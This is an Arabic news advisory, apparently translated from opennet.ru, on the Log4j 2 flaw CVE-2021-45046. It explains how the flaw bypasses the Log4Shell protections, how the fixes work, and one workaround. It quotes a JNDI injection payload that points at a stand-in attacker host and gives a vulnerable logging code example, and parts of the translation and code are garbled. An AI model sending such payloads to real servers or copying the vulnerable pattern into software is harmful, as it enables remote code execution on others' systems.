تم تحديد ثغرة أمنية أخرى في تنفيذ عمليات بحث JNDI في مكتبة Log4j 2 (CVE-2021-45046)، والتي تظهر على الرغم من الإصلاحات المضافة في الإصدار 2.15 وبغض النظر عن استخدام إعداد "log4j2.noFormatMsgLookup" للحماية. تعد المشكلة خطيرة بشكل أساسي بالنسبة للإصدارات الأقدم من Log4j 2، المحمية باستخدام علامة "noFormatMsgLookup"، حيث تتيح إمكانية تجاوز الحماية من الثغرات الأمنية السابقة (Log4Shell، CVE-2021-44228)، مما يسمح لك بتنفيذ التعليمات البرمجية الخاصة بك على الخادم. بالنسبة لمستخدمي الإصدار 2.15، يقتصر الاستغلال على التسبب في تعطل التطبيق بسبب استنفاد الموارد المتاحة.
تظهر الثغرة الأمنية فقط على الأنظمة التي تستخدم عمليات بحث السياق للتسجيل، مثل ${ctx:loginId}، أو قوالب MDC (خريطة سياق الموضوع)، مثل %X، و%mdc، و%MDC. تتلخص العملية في تهيئة الظروف لإخراج البيانات التي تحتوي على بدائل JNDI للسجل عند استخدام استعلامات السياق أو قوالب MDC في التطبيق الذي يحدد قواعد تنسيق الإخراج إلى السجل.
لاحظ باحثون من LunaSec أنه بالنسبة لإصدارات Log4j الأقل من 2.15، يمكن استخدام هذه الثغرة الأمنية كمتجه جديد لهجوم Log4Shell، مما يؤدي إلى تنفيذ التعليمات البرمجية، إذا تم استخدام تعبيرات ThreadContext التي تتضمن بيانات خارجية في إخراج السجل، بغض النظر عما إذا كان تم تمكين علامة "الحماية". noMsgFormatLookups" أو القالب "%m{nolookups}".
يعود تجاوز الحماية إلى حقيقة أنه بدلاً من الاستبدال المباشر لـ "${jndi:ldap://attacker.com/a}"، يتم استبدال هذا التعبير من خلال قيمة متغير وسيط يستخدم في قواعد تنسيق إخراج السجل . على سبيل المثال، إذا تم استخدام استعلام السياق ${ctx:apiversion} عند الإخراج إلى السجل، فيمكن تنفيذ الهجوم عن طريق استبدال البيانات "${jndi:ldap://attacker.com/a}" في القيمة المكتوبة على متغير apiversion. مثال على التعليمات البرمجية الضعيفة: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String Index(@RequestHeader("X-Api-Version") String apiVersion) { // يتم تمرير قيمة رأس HTTP "X-Api-Version" إلى ThreadContext ThreadContext.put("apiversion" "، APIVersion )؛ // عند التسجيل، ستتم معالجة قيمة apiversion الخارجية باستخدام الاستبدال ${ctx:apiversion} logger.info("تم استلام طلب لإصدار API"); العودة "مرحبا بالعالم!"؛ }
في الإصدار 4 من Log2.15j، يمكن استخدام الثغرة الأمنية لتنفيذ هجمات DoS عند تمرير القيم إلى ThreadContext، مما يؤدي إلى حدوث حلقة في معالجة قالب تنسيق الإخراج.
ولحظر الثغرة الأمنية، تم نشر التحديثات 2.16 و2.12.2. في فرع Log4j 2.16، بالإضافة إلى الإصلاحات التي تم تنفيذها في الإصدار 2.15 وربط طلبات JNDI LDAP بـ "المضيف المحلي"، يتم تعطيل وظيفة JNDI بالكامل افتراضيًا وتتم إزالة دعم قوالب استبدال الرسائل. كحل بديل للأمان، يُقترح إزالة فئة JndiLookup من مسار الفصل (على سبيل المثال، "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
يمكنك تتبع ظهور الإصلاحات في الحزم على صفحات التوزيعات (Debian وUbuntu وRHEL وSUSE وFedora وArch) والشركات المصنعة لمنصة Java (GitHub وDocker وOracle وvmWare وBroadcom وAmazon/AWS وJuniper وVMware، Cisco، وIBM، وRed Hat، وMongoDB، وOkta، وSolarWinds، وSymantec، وMcAfee، وSonicWall، وFortiGuard، وUbiquiti، وF-Secure، وما إلى ذلك).
المصدر: opennet.ru